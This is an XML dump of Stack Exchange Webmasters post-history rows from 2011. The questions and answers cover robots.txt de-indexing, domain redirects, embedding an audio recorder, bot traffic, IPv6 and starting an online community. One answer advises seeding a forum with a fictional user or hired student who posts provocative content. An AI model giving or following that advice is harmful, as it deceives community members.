  <row Id="42153" PostHistoryTypeId="2" PostId="17518" RevisionGUID="e0fece10-3e6b-4c59-9257-71ddb440b29d" CreationDate="2011-07-28T18:48:08.493" UserId="5809" Text="I added the no-index tag for the google-bot, but it is kind of taking a long time to de-index some pages since I have over 100k pages I need to de-index lol :)))&#xD;&#xA;&#xD;&#xA;What is the proper way to de-index pages using robots.txt?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Any idea how long should it take?" />
  <row Id="42154" PostHistoryTypeId="1" PostId="17518" RevisionGUID="e0fece10-3e6b-4c59-9257-71ddb440b29d" CreationDate="2011-07-28T18:48:08.493" UserId="5809" Text="How to de-index pages from google using robotx.txt" />
  <row Id="42155" PostHistoryTypeId="3" PostId="17518" RevisionGUID="e0fece10-3e6b-4c59-9257-71ddb440b29d" CreationDate="2011-07-28T18:48:08.493" UserId="5809" Text="&lt;seo&gt;" />
  <row Id="42156" PostHistoryTypeId="2" PostId="17519" RevisionGUID="d18196be-b9e5-45a3-bb14-c98b56063a63" CreationDate="2011-07-28T19:01:52.287" UserId="5464" Text="Take a look at robotstxt.org has all the info you need." />
  <row Id="42157" PostHistoryTypeId="5" PostId="16687" RevisionGUID="2a4532db-02d5-472b-a730-e70b532d3ab5" CreationDate="2011-07-28T19:08:57.740" UserId="8926" Comment="GoDaddy apparently blocks the URL Redirection with sub domains. It reports errors with CNAME records for sub domains." Text="Suppose I have a blog &quot;hello.blogspot.com&quot; and I want to redirect it to &quot;hello.com&quot;. When I publish a new post such as &quot;hello.blogspot.com/2011/01/hello.html&quot;, I want that it will be visible to users with the format such as &quot;hello.com/2011/01/hello.html&quot;. How can I do that?&#xD;&#xA;&#xD;&#xA;I am very confused by GoDaddy's CashParking marketing and I am starting to feel their answers roll around. Right technical terms about this issue rightly appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**[Update]**&#xD;&#xA;&#xD;&#xA;&quot;www&quot;, &quot;ghs.google.com&quot; and &quot;1 hour&quot; works well main domains but GoDaddy apparently blocks URL Redirection with Sub domains (not of the form &quot;www&quot;), such as research.site.com. GoDaddy allows URL Framing with sub domains but it is poor-looking and bad to SEO. I have not verified this from GoDaddy itself but I have tested it many times with GUI and export/import properties. If this is true, I will change my registrar very quickly. You can read more about it [here](http://webmasters.stackexchange.com/questions/17311/explain-add-custom-domain-in-blogger/17315#17315)." />
  <row Id="42158" PostHistoryTypeId="2" PostId="17520" RevisionGUID="a3aa933d-1b55-4859-b644-8ae8d6c13468" CreationDate="2011-07-28T20:26:06.130" UserId="1243" Text="Also check [URL removal explained, Part I: URLs &amp; directories](http://googlewebmastercentral.blogspot.com/2010/03/url-removal-explained-part-i-urls.html)&#xD;&#xA;&#xD;&#xA;As that article suggests, you can remove directories (and whole sites) in [Google's Webmaster Tools](https://www.google.com/webmasters/tools/). This might be quicker than robots.txt initially, although you will need to use robots.txt as well.&#xD;&#xA;&#xD;&#xA;Keep the noindex meta tag to avoid your page appearing at all in Google's index. A robots.txt only solution could still allow URL only links from appearing in the SERPS.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42159" PostHistoryTypeId="5" PostId="17519" RevisionGUID="7035e5f7-57e0-442b-8b90-f1c85db84563" CreationDate="2011-07-28T20:27:49.363" UserId="346" Comment="added url so people didn't have to manually type it in and is this comment long enough now?" Text="Take a look at [robotstxt.org][1] has all the info you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="42160" PostHistoryTypeId="24" PostId="17519" RevisionGUID="7035e5f7-57e0-442b-8b90-f1c85db84563" CreationDate="2011-07-28T20:27:49.363" Comment="Proposed by 346 approved by 1064 edit id of 460" />
  <row Id="42161" PostHistoryTypeId="5" PostId="17520" RevisionGUID="58b79916-4ba6-44dd-998c-fcdaf0f06a9b" CreationDate="2011-07-28T20:32:13.443" UserId="1243" Comment="Added example" Text="Also check [URL removal explained, Part I: URLs &amp; directories](http://googlewebmastercentral.blogspot.com/2010/03/url-removal-explained-part-i-urls.html)&#xD;&#xA;&#xD;&#xA;As that article suggests, you can remove directories (and whole sites) in [Google's Webmaster Tools](https://www.google.com/webmasters/tools/). This might be quicker than robots.txt initially, although you will need to use robots.txt as well.&#xD;&#xA;&#xD;&#xA;Keep the noindex meta tag to avoid your page appearing at all in Google's index. A robots.txt only solution could still allow URL only links from appearing in the SERPS.&#xD;&#xA;&#xD;&#xA;Using robots.txt to remove the http://www.example.com/getridofthis/ directory...&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /getridofthis/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42162" PostHistoryTypeId="5" PostId="17520" RevisionGUID="69a15bbb-7220-4791-9e80-784730a2484b" CreationDate="2011-07-28T20:48:07.080" UserId="1243" Comment="added 2 characters in body" Text="Also check [URL removal explained, Part I: URLs &amp; directories](http://googlewebmastercentral.blogspot.com/2010/03/url-removal-explained-part-i-urls.html)&#xD;&#xA;&#xD;&#xA;As that article suggests, you can remove directories (and whole sites) in [Google's Webmaster Tools](https://www.google.com/webmasters/tools/). This might be quicker than robots.txt initially, although you will need to use robots.txt as well.&#xD;&#xA;&#xD;&#xA;Keep the noindex meta tag to avoid your page appearing at all in Google's index. A robots.txt only solution could still allow URL only links from appearing in the SERPS.&#xD;&#xA;&#xD;&#xA;Using robots.txt to remove the &quot;http://www.example.com/getridofthis/&quot; directory...&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /getridofthis/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42163" PostHistoryTypeId="2" PostId="17521" RevisionGUID="1d2f9cb9-000f-4ad7-9fc2-51d4e222141d" CreationDate="2011-07-28T20:56:19.380" UserId="9248" Text="I'm looking for a way to record audio from somebody on a page on my site - any recommendations?  Sorry if I haven't expressed that very clearly - please edit if not!&#xD;&#xA;&#xD;&#xA;Ideally looking for a new startup who is doing it rather than a little plugin, but no big deal which!&#xD;&#xA;&#xD;&#xA;Thanks, much appreciated." />
  <row Id="42164" PostHistoryTypeId="1" PostId="17521" RevisionGUID="1d2f9cb9-000f-4ad7-9fc2-51d4e222141d" CreationDate="2011-07-28T20:56:19.380" UserId="9248" Text="Recording audio from webpage?" />
  <row Id="42165" PostHistoryTypeId="3" PostId="17521" RevisionGUID="1d2f9cb9-000f-4ad7-9fc2-51d4e222141d" CreationDate="2011-07-28T20:56:19.380" UserId="9248" Text="&lt;html&gt;&lt;websites&gt;&lt;audio&gt;" />
  <row Id="42166" PostHistoryTypeId="2" PostId="17522" RevisionGUID="863557c5-91ec-43ff-af7b-a8ab7cc144d0" CreationDate="2011-07-28T21:18:39.180" UserId="7198" Text="[Audioboo](http://audioboo.fm) allows visitors to record audio from their browser. The following line of code embeds an audioboo recorder button on your site [[live example](http://jsfiddle.net/MYm9W/)]:&#xD;&#xA;&#xD;&#xA;    &lt;script type='text/javascript' src='http://audioboo.fm/javascripts/popup_button.js'&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Users would then have to choose to share their recording with you, perhaps by posting a link to the audioboo page in a form field or comment box.&#xD;&#xA;&#xD;&#xA;[Audioboo Pro accounts](http://audioboo.fm/about/pro) allow anonymous users to record audio directly to your own audioboo account, instead of to an anonymous audioboo user account, which may prove more useful to you because you'd have an automatic collection of all recordings. At present, you need to be a large organisation and email them to apply for a pro account, but they have plans for a 'plus' account for single users who want more powerful features." />
  <row Id="42167" PostHistoryTypeId="25" PostId="17521" RevisionGUID="1ad2e82a-8af6-4462-98a0-5eb2b8f44e68" CreationDate="2011-07-28T21:32:11.940" Comment="http://twitter.com/#!/StackWebmasters/status/96694465128960000" />
  <row Id="42169" PostHistoryTypeId="2" PostId="17524" RevisionGUID="a98a85d7-5589-49fe-928a-bf9b569b117b" CreationDate="2011-07-28T23:01:49.973" UserId="5806" Text="Google Analytics requires Javascript, so people and bots which do not execute Javascript will not be counted.&#xD;&#xA;&#xD;&#xA;Also you should get the new Analytics code which goes in the head rather than the end of the body like the old one. When you generate that code, make sure to select the domains and subdomain option if your site accepts yoursite.com and www.yoursite.com as URLs. Having the analytics code in the header, particularly for a heavy site will remove the chance of users who stop the browser or lose the connection before downloading the whole page." />
  <row Id="42170" PostHistoryTypeId="2" PostId="17525" RevisionGUID="d8f46e58-404d-471b-86eb-efaacab2cdec" CreationDate="2011-07-28T23:49:45.297" UserId="7790" Text="This is about to drive me nuts. I copied the following XML from the eBay documentation and modified it for my purposes. I'm looking for the eBay Shipping and Carrier Details.&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&#xD;&#xA;    &lt;GeteBayDetailsRequest xmlns=&quot;urn:ebay:apis:eBLBaseComponents&quot;&gt;&#xD;&#xA;      &lt;DetailName&gt;ShippingCarrierDetails&lt;/DetailName&gt;&#xD;&#xA;      &lt;DetailName&gt;ShippingServiceDetails&lt;/DetailName&gt;&#xD;&#xA;      &lt;RequesterCredentials&gt;&#xD;&#xA;        &lt;eBayAuthToken&gt;...&lt;/eBayAuthToken&gt;&#xD;&#xA;      &lt;/RequesterCredentials&gt;&#xD;&#xA;      &lt;WarningLevel&gt;High&lt;/WarningLevel&gt;&#xD;&#xA;      &lt;Version&gt;629&lt;/Version&gt;&#xD;&#xA;    &lt;/GeteBayDetailsRequest&gt;&#xD;&#xA;Regardless of what I try, I get back the following:&lt;BR&gt;&#xD;&#xA;&lt;B&gt;FailureUnsupported API call.The API call &quot;GeteBayDetailsRequest&quot; is invalid or not supported in this release.2ErrorRequestError55113527319&lt;/b&gt;&lt;br&gt;&#xD;&#xA;What I need is exactly what the documentation purports this to be. Am I missing something?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42171" PostHistoryTypeId="1" PostId="17525" RevisionGUID="d8f46e58-404d-471b-86eb-efaacab2cdec" CreationDate="2011-07-28T23:49:45.297" UserId="7790" Text="Where in eBay can I get this information?" />
  <row Id="42172" PostHistoryTypeId="3" PostId="17525" RevisionGUID="d8f46e58-404d-471b-86eb-efaacab2cdec" CreationDate="2011-07-28T23:49:45.297" UserId="7790" Text="&lt;web-development&gt;&lt;ebay&gt;" />
  <row Id="42173" PostHistoryTypeId="25" PostId="17516" RevisionGUID="11b7ccad-170e-4366-a270-3a04809ad5f5" CreationDate="2011-07-29T00:32:11.347" Comment="http://twitter.com/#!/StackWebmasters/status/96739762962051072" />
  <row Id="42174" PostHistoryTypeId="2" PostId="17526" RevisionGUID="500d9470-8870-4016-80b4-b60ec89678d2" CreationDate="2011-07-29T01:07:01.740" UserId="1455" Text="Is it just me or did the Facebook Share button that displays the count of shares and likes just stop working over the past few days? The sharing still works, the count of shares no longer displays.&#xD;&#xA;&#xD;&#xA;The link that is generated look like this&#xD;&#xA;http://www.facebook.com/sharer.php?u=&#xD;&#xA;and the JavaScript file on my page is this&#xD;&#xA;http://static.ak.fbcdn.net/connect.php/js/FB.Share&#xD;&#xA;&#xD;&#xA;I haven't changed anything and this has worked for years" />
  <row Id="42175" PostHistoryTypeId="1" PostId="17526" RevisionGUID="500d9470-8870-4016-80b4-b60ec89678d2" CreationDate="2011-07-29T01:07:01.740" UserId="1455" Text="Facebook Share Button and Counter no longer displaying any Count" />
  <row Id="42176" PostHistoryTypeId="3" PostId="17526" RevisionGUID="500d9470-8870-4016-80b4-b60ec89678d2" CreationDate="2011-07-29T01:07:01.740" UserId="1455" Text="&lt;facebook&gt;" />
  <row Id="42177" PostHistoryTypeId="5" PostId="17418" RevisionGUID="65d175d4-a8fc-48d8-8e86-6c1ac3c24438" CreationDate="2011-07-29T01:56:49.293" UserId="4306" Comment="Updated answer with more info" Text="The Like button in your website header seems to be tracking correctly. The following _utm.gif request is being made:&#xD;&#xA;&#xD;&#xA;&gt; `http://www.google-analytics.com/__utm.gif?`&#xD;&#xA;&gt; `utmwv=5.1.1&amp;utms=3&amp;utmn=902823811&amp;utmhn=www.paulolyslager.com`&#xD;&#xA;&gt; `&amp;utmt=social&amp;utmsn=facebook&amp;utmsa=like`&#xD;&#xA;&gt; `&amp;utmsid=http%3A%2F%2Fwww.facebook.com%2Fpages...`&#xD;&#xA;&#xD;&#xA;The links in the social bar on the left-side of each post will *not* be tracked, because the social actions script is designed to hook into specific events raised by Twitter and Facebook. These events are not called by the share actions in he social bar.&#xD;&#xA;&#xD;&#xA;**Edit:** the Like buttons for each post on the homepage are working also. Is this issue resolved?&#xD;&#xA;&#xD;&#xA;**Update:** The Social Bar to the left of your articles won't work, because they are coded differently to the Google examples and use different hooks. The Like button at the end of each post, just above the 'About the Author' section, does work, because it is a standard Like button." />
  <row Id="42178" PostHistoryTypeId="5" PostId="17500" RevisionGUID="e58c13ef-710e-4e3a-b7af-dcd1d13ec032" CreationDate="2011-07-29T02:33:40.970" UserId="8799" Comment="added 2 characters in body" Text="Could you have a competitor interested in putting you offline?  &#xD;&#xA;Are they idiots (and russia based) or could they being paying some idiot from russia?&#xD;&#xA;&#xD;&#xA;If not, then maybe you're getting hits from a single router in some educational or governmental institution in which you suddenly became popular.&#xD;&#xA;&#xD;&#xA;What are you checking their ip with? Try maxmind.  &#xD;&#xA;Its resolver usually gives some insights of large institutional networks.  &#xD;&#xA;http://www.maxmind.com/app/locate_demo_ip&#xD;&#xA;&#xD;&#xA;What is your product? Is it a game?  &#xD;&#xA;They could be doing some serious lan partying up there.&#xD;&#xA;&#xD;&#xA; * Offer a *bittorrent* option,&#xD;&#xA; * or move the file to *rapidspread/rapidshare/megaupload/rapidsomething*" />
  <row Id="42179" PostHistoryTypeId="2" PostId="17527" RevisionGUID="da6f34d1-de3e-4e7d-90fa-f41ce81e8157" CreationDate="2011-07-29T02:46:57.190" UserId="9252" Text="When i check the traffic on my website, the top IP's have have statistics like this.&#xD;&#xA;&#xD;&#xA;    &gt; IP           Page       Hits&#xD;&#xA;    &#xD;&#xA;    &gt; 91.212.x.x   7123        7123&#xD;&#xA;    &#xD;&#xA;    &gt; 91.x.x.x      249        249&#xD;&#xA;&#xD;&#xA;These visits are for one month. Since the number of pages match number of hits, does it mean these IPs belong to robots? And how it can be the same? I do have pages which have does not have images which will give one hit but still. How it can occur?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42180" PostHistoryTypeId="1" PostId="17527" RevisionGUID="da6f34d1-de3e-4e7d-90fa-f41ce81e8157" CreationDate="2011-07-29T02:46:57.190" UserId="9252" Text="Does these IPs belong to robots?" />
  <row Id="42181" PostHistoryTypeId="3" PostId="17527" RevisionGUID="da6f34d1-de3e-4e7d-90fa-f41ce81e8157" CreationDate="2011-07-29T02:46:57.190" UserId="9252" Text="&lt;robots&gt;" />
  <row Id="42182" PostHistoryTypeId="25" PostId="17498" RevisionGUID="c7d00a1e-68b4-499d-bbc7-1786da1e6749" CreationDate="2011-07-29T03:33:03.467" Comment="http://twitter.com/#!/StackWebmasters/status/96785280043982849" />
  <row Id="42183" PostHistoryTypeId="4" PostId="17514" RevisionGUID="97a66f4d-49c4-4a57-b148-be73469e5162" CreationDate="2011-07-29T03:33:28.237" UserId="4306" Comment="updated subject for clarity" Text="Why do many valid links in my blog show error 50 in Google WebMaster Tools?" />
  <row Id="42184" PostHistoryTypeId="24" PostId="17514" RevisionGUID="97a66f4d-49c4-4a57-b148-be73469e5162" CreationDate="2011-07-29T03:33:28.237" Comment="Proposed by 4306 approved by -1 edit id of 461" />
  <row Id="42185" PostHistoryTypeId="5" PostId="17514" RevisionGUID="46178160-2d4f-4d46-8fb2-ed37bd4e66bc" CreationDate="2011-07-29T03:33:28.393" UserId="1253" Comment="updated subject for clarity, fixed minor errors" Text="Majority of the links in the screenshot below are **valid**! Such as:&#xD;&#xA;&#xD;&#xA;http://wayneye.com/Blog/HTML5-Web-Socket-In-Essence&#xD;&#xA;&#xD;&#xA;http://wayneye.com/Blog/There-Is-No-The-Hope-Project&#xD;&#xA;&#xD;&#xA;And so on... Even if I tried &quot;**Fetch as Googlebot**&quot; the result is 200 OK.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/A1C3D.png&#xD;&#xA;&#xD;&#xA;Please note: I do not block any content for google bot in my robots.txt, neither in my HTML meta tags." />
  <row Id="42186" PostHistoryTypeId="4" PostId="17514" RevisionGUID="46178160-2d4f-4d46-8fb2-ed37bd4e66bc" CreationDate="2011-07-29T03:33:28.393" UserId="1253" Comment="updated subject for clarity, fixed minor errors" Text="Why do many valid links in my blog show error 500 in Google WebMaster Tools?" />
  <row Id="42187" PostHistoryTypeId="25" PostId="17404" RevisionGUID="8872c3c9-dfe9-4bc0-b609-dd95aa7a2057" CreationDate="2011-07-29T06:33:02.953" Comment="http://twitter.com/#!/StackWebmasters/status/96830576786550784" />
  <row Id="42188" PostHistoryTypeId="2" PostId="17528" RevisionGUID="16b804ce-9c64-4a0b-85f6-51341625a9b6" CreationDate="2011-07-29T07:05:46.807" UserId="7198" Text="Possible causes for the 500 error you're seeing:&#xD;&#xA;&#xD;&#xA; 1. Your [robots.txt file](http://wayneye.com/Blog/HTML5-Web-Socket-In-Essence/) starts with an illegal character. When [validated here](http://tool.motoricerca.info/robots-checker.phtml), the file contains a character that's hidden when viewed as UTF-8 in a text editor such as TextMate, but visible when viewed as ISO-8859-1 (see image below). To fix this, delete the first line, retype it, save the file, and revalidate it.&#xD;&#xA;&#xD;&#xA;  ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Your site may have simply returned a 500 error when Google last crawled it. (i.e. The server was down.) If this is the case, the errors you should not be repeated when Google next crawls your site, assuming it stays up.&#xD;&#xA;&#xD;&#xA;[1]: http://i.stack.imgur.com/7tHH8.png" />
  <row Id="42189" PostHistoryTypeId="2" PostId="17529" RevisionGUID="4f1efb75-73f6-4b82-94a5-8c456db620e7" CreationDate="2011-07-29T07:26:14.497" UserId="9243" Text="Another factor which I have noticed after Google Panda update is that Google is discounting sites with a general theme. For e.g. Buzzle, Squidoo which covers everything under the sun and sea have lost a great amount of traffic in last few months. On the other hand, sites with a specific niche are converting better in SERPs. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="42190" PostHistoryTypeId="2" PostId="17530" RevisionGUID="e1bcf883-bba0-401e-81e0-467eca65b788" CreationDate="2011-07-29T08:49:39.120" UserId="9256" Text="I'm looking for a solution to manage/keep track of the different domains and sites I maintain. I manage multiple domains with numerous sites, subdomains, many instances of CMS and other web apps, and keeping track of many of the details involved with running a well managed network is difficult. &#xD;&#xA;&#xD;&#xA;Ideally it would be something that has an interface with which I could keep track of status of things like domain's robots.txt files, htaccess content, tracking, online status, etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Essentially an at a glance way to keep track of the status of things, without having to manually ftp or log into several places and open a thousand separate files. It might also include something like a maintenance calander/scheduler. &#xD;&#xA;&#xD;&#xA;I Havent had much luck finding something mostly because I'm not sure what exactly I should be looking for in terms of search terms or genre of software, and what's available. What should I be looking for? Web asset management? Site audit? Server audit? Nothing Ive tried searching for seems to be in the right direction. Any pointers or suggestions would be appreciated. What types of solutions are available?" />
  <row Id="42191" PostHistoryTypeId="1" PostId="17530" RevisionGUID="e1bcf883-bba0-401e-81e0-467eca65b788" CreationDate="2011-07-29T08:49:39.120" UserId="9256" Text="Any solutions for managing all properties from one system?" />
  <row Id="42192" PostHistoryTypeId="3" PostId="17530" RevisionGUID="e1bcf883-bba0-401e-81e0-467eca65b788" CreationDate="2011-07-29T08:49:39.120" UserId="9256" Text="&lt;management&gt;&lt;site-maintenance&gt;" />
  <row Id="42193" PostHistoryTypeId="25" PostId="17530" RevisionGUID="165f4e21-0de5-4566-9315-c90f2999acd1" CreationDate="2011-07-29T09:33:04.007" Comment="http://twitter.com/#!/StackWebmasters/status/96875875676602368" />
  <row Id="42194" PostHistoryTypeId="2" PostId="17531" RevisionGUID="bc767884-f550-4a86-873b-02e7904c7a0d" CreationDate="2011-07-29T09:59:44.763" UserId="9257" Text="Also, how does it affect our websites? Do we need to shift all IPv4 websites to IPv6 or both? " />
  <row Id="42195" PostHistoryTypeId="1" PostId="17531" RevisionGUID="bc767884-f550-4a86-873b-02e7904c7a0d" CreationDate="2011-07-29T09:59:44.763" UserId="9257" Text="Why is IPv6 not backward compatible with IPv4?" />
  <row Id="42196" PostHistoryTypeId="3" PostId="17531" RevisionGUID="bc767884-f550-4a86-873b-02e7904c7a0d" CreationDate="2011-07-29T09:59:44.763" UserId="9257" Text="&lt;compatibility&gt;&lt;networking&gt;" />
  <row Id="42197" PostHistoryTypeId="2" PostId="17532" RevisionGUID="bd06e446-648e-40c7-94d1-3b8db6b46d53" CreationDate="2011-07-29T10:15:25.423" UserId="7801" Text="We're looking to add a forum/online community area to our website. Previous attempts of encouraging comments and interaction have failed and the community tends to die a death eventually.&#xD;&#xA;&#xD;&#xA;So, I've sat back and had a think of how to encourage people to comment and interact within our forum/community (heavily influenced by the stack style!):&#xD;&#xA;&#xD;&#xA;**1. Ease of signing up:**&#xD;&#xA;People are lazy in adding new accounts etc so just like stackoverflow, I would use the &quot;sign in with facebook, linkedin, twitter&quot; etc etc.&#xD;&#xA;&#xD;&#xA;**2. Encouraging people to comment/interact:** A points/score system that would reward users for commenting/interacting with the community (a more basic version of stack). An addition would be if a user reaches certain milestones they would receive a % discount on services.&#xD;&#xA;&#xD;&#xA;**3. New content from us:** As well as users commenting, I think a strong presence from us in posting new content/threads/comments would be needed.&#xD;&#xA; &#xD;&#xA;Has anyone got any suggestions to add to the list above to encourage interaction within the community?" />
  <row Id="42198" PostHistoryTypeId="1" PostId="17532" RevisionGUID="bd06e446-648e-40c7-94d1-3b8db6b46d53" CreationDate="2011-07-29T10:15:25.423" UserId="7801" Text="How to start and encourage an online community?" />
  <row Id="42199" PostHistoryTypeId="3" PostId="17532" RevisionGUID="bd06e446-648e-40c7-94d1-3b8db6b46d53" CreationDate="2011-07-29T10:15:25.423" UserId="7801" Text="&lt;forum&gt;&lt;social-media&gt;&lt;community&gt;" />
  <row Id="42200" PostHistoryTypeId="2" PostId="17533" RevisionGUID="1a1190d0-3512-4fb4-b1e3-12318822102e" CreationDate="2011-07-29T10:29:34.610" UserId="9258" Text="here&#xD;&#xA;&#xD;&#xA;How to build web 2.0 interface&#xD;&#xA;[http://www.webdesignfromscratch.com/web-des...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to learn basic HTML/CSS/Javascript/PHP/Etc....&#xD;&#xA;[http://w3schools.com/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdesignfromscratch.com/web-design/web-2.0-design-style-guide.php&#xD;&#xA;  [2]: http://w3schools.com/" />
  <row Id="42201" PostHistoryTypeId="16" PostId="17533" RevisionGUID="5886da5b-e6ca-47c5-a234-295dea2d5001" CreationDate="2011-07-29T10:29:34.610" UserId="9258" />
  <row Id="42202" PostHistoryTypeId="2" PostId="17534" RevisionGUID="ccc6aa32-f842-4153-b488-62be6d6a92a1" CreationDate="2011-07-29T10:47:17.357" UserId="1643" Text="IPv6 is mostly about the &quot;plumbing&quot; between your server and the user. The various parts of that plumbing may or may not be IPv6 compatible. Even if you make sure the network from your server to your ISP is your ISP may not support it. On the other hand, it's worth making sure your webserver software (Apache or IIS say) supports it (Apache v2.0 and upwards does, IIS 6.0 and upwards does), and your network equipment. &#xD;&#xA;&#xD;&#xA;The main way that it would stop things working is when someone registers a domain and there is no IPv4 IP address to give them, so they only get an IPv6 IP address. Then it will only be accessible to people who have IPv6 all the way between them and the server.&#xD;&#xA;&#xD;&#xA;Although the last lot of IPv4 addresses have been given to the people who give them out, they haven't all been given out. Also, if it really looks like it's getting short people may release unused addresses.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42203" PostHistoryTypeId="2" PostId="17535" RevisionGUID="083dc36d-fdfe-44bd-82f1-673164849cbd" CreationDate="2011-07-29T11:02:34.900" UserId="1803" Text="You have forgotten the **real first point**: bring up interesting content, where a discussion about would be worth it.&#xD;&#xA;&#xD;&#xA;**1. Ease of signing up:** Signing up alone is a huge barrier. If some website asks for my e-mail-address to get things posted, I really have to want to tell exactly this community something. A registration-form triggers thoughts like: do I really have to? …potentially not taking part at all. What is my/the users additional benefit if I tell you my name and my e-mail-address? Some kind of score system isn't enough motivation.&#xD;&#xA;&#xD;&#xA;**3. New content from us:** You should already have some content/comments that looks like a discussion. Nobody wants to be the first in line, if it is up to generate new content. Maybe even a talk between people who work for/with you - but care about who knows. Be aware, not to post some advertisement-like content, because this will result in negative publicity as of doing [astroturfing][1]. So only trade with common opinions in the first comments/posts and let a fictional user/hired student be the one who posts aggravating content. But as I said, don't exaggerate—no one would believe it, if there was a community going from 0 to 100 posts in one day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Astroturfing" />
  <row Id="42204" PostHistoryTypeId="16" PostId="17532" RevisionGUID="ec3f5208-0358-4103-b3f7-095dd15590d2" CreationDate="2011-07-29T11:37:08.157" UserId="1253" />
  <row Id="42205" PostHistoryTypeId="4" PostId="6845" RevisionGUID="045e954d-e9c2-495a-a813-2f824ea5bbdd" CreationDate="2011-07-29T11:47:57.050" UserId="2827" Comment="title wording" Text="How to track outbound links in Google Analytics?" />
  <row Id="42206" PostHistoryTypeId="24" PostId="6845" RevisionGUID="045e954d-e9c2-495a-a813-2f824ea5bbdd" CreationDate="2011-07-29T11:47:57.050" Comment="Proposed by 2827 approved by 1253 edit id of 464" />
  <row Id="42207" PostHistoryTypeId="5" PostId="17049" RevisionGUID="d016bb52-ddce-4484-a537-222f1b3a4694" CreationDate="2011-07-29T11:48:05.643" UserId="2827" Comment="edited title, tags; some wording" Text="I am building a google site. When I click a picture as a link, the picture highlights. I don't want it to be highlighted.&#xD;&#xA;&#xD;&#xA;How do I stop the picture from highlighting when I click it to make a link?" />
  <row Id="42208" PostHistoryTypeId="4" PostId="17049" RevisionGUID="d016bb52-ddce-4484-a537-222f1b3a4694" CreationDate="2011-07-29T11:48:05.643" UserId="2827" Comment="edited title, tags; some wording" Text="How to disable link highlighting on images in Google Sites?" />
  <row Id="42209" PostHistoryTypeId="6" PostId="17049" RevisionGUID="d016bb52-ddce-4484-a537-222f1b3a4694" CreationDate="2011-07-29T11:48:05.643" UserId="2827" Comment="edited title, tags; some wording" Text="&lt;google-sites&gt;" />
  <row Id="42210" PostHistoryTypeId="24" PostId="17049" RevisionGUID="d016bb52-ddce-4484-a537-222f1b3a4694" CreationDate="2011-07-29T11:48:05.643" Comment="Proposed by 2827 approved by 1253 edit id of 463" />
  <row Id="42211" PostHistoryTypeId="4" PostId="17381" RevisionGUID="133e76a1-e3a7-454f-938c-872610d04803" CreationDate="2011-07-29T11:48:11.980" UserId="2827" Comment="title wording" Text="How to optimize acronyms for search engines?" />
  <row Id="42212" PostHistoryTypeId="24" PostId="17381" RevisionGUID="133e76a1-e3a7-454f-938c-872610d04803" CreationDate="2011-07-29T11:48:11.980" Comment="Proposed by 2827 approved by 1253 edit id of 465" />
  <row Id="42213" PostHistoryTypeId="6" PostId="15425" RevisionGUID="3456197a-752b-408f-a744-110889684d2f" CreationDate="2011-07-29T11:48:15.660" UserId="2827" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="42214" PostHistoryTypeId="24" PostId="15425" RevisionGUID="3456197a-752b-408f-a744-110889684d2f" CreationDate="2011-07-29T11:48:15.660" Comment="Proposed by 2827 approved by 1253 edit id of 462" />
  <row Id="42215" PostHistoryTypeId="2" PostId="17536" RevisionGUID="e58e3aff-539c-45d6-a8f6-23174716ce7b" CreationDate="2011-07-29T11:53:11.917" UserId="7198" Text="Feverbee, a self-branded &quot;Community Consultancy&quot;, has a [huge list of resources](http://www.feverbee.com/2010/01/how-to-build-an-online-community-the-ultimate-list-of-resources.html) for community building that might prove useful.&#xD;&#xA;&#xD;&#xA;Highlights from [The 11 Fundamental Laws Of Building Online Communities](http://www.feverbee.com/2009/10/11fundamentallawsofonlinecommunities.html):&#xD;&#xA;&#xD;&#xA;1. Have a community manager.&#xD;&#xA;2. Have a purpose.&#xD;&#xA;3. Use whichever tool/platform your members are most familiar with.&#xD;&#xA;4. Create content about your community. &#xD;&#xA;5. Build personal relationships with your top members.&#xD;&#xA;6. Let heated debates happen.&#xD;&#xA;7. Begin building the community before you launch the website.&#xD;&#xA;8. Recognise individual contributions from members.&#xD;&#xA;9. Encourage members to recruit friends.&#xD;&#xA;10. Share control and power with members.&#xD;&#xA;11. Don't use admin powers unless absolutely necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also recommend that you read [&quot;Does this site have a chance of succeeding&quot;](http://blog.stackoverflow.com/2011/07/does-this-site-have-a-chance-of-succeeding/) from Robert Cartaino on the Stack Overflow blog. It explains the metrics used to gauge whether a new site on the Stack Exchange network is successful or not, specifically:&#xD;&#xA;&#xD;&#xA;- Questions per day&#xD;&#xA;- % Answered&#xD;&#xA;- Avid users&#xD;&#xA;&#xD;&#xA;As such, it's worth measuring this data for your own community site and thinking about what you can do to improve:&#xD;&#xA;&#xD;&#xA;- The number of visitors asking questions.&#xD;&#xA;- The number of users answering questions.&#xD;&#xA;- The number of repeat visitors/users.&#xD;&#xA;&#xD;&#xA;The answer (to begin with) will likely be to build as much traffic as you can to the site by providing interesting content of your own. One site that does this very successfully is [QBN](http://qbn.com) (formerly Newstoday), who puts their community forum alongside the main site. Visitors come both for the forum and the content, and often discuss content presented on the homepage in the forum at the side.&#xD;&#xA;&#xD;&#xA;Community building can be a fluffy science and a monstrous time sink; there is no 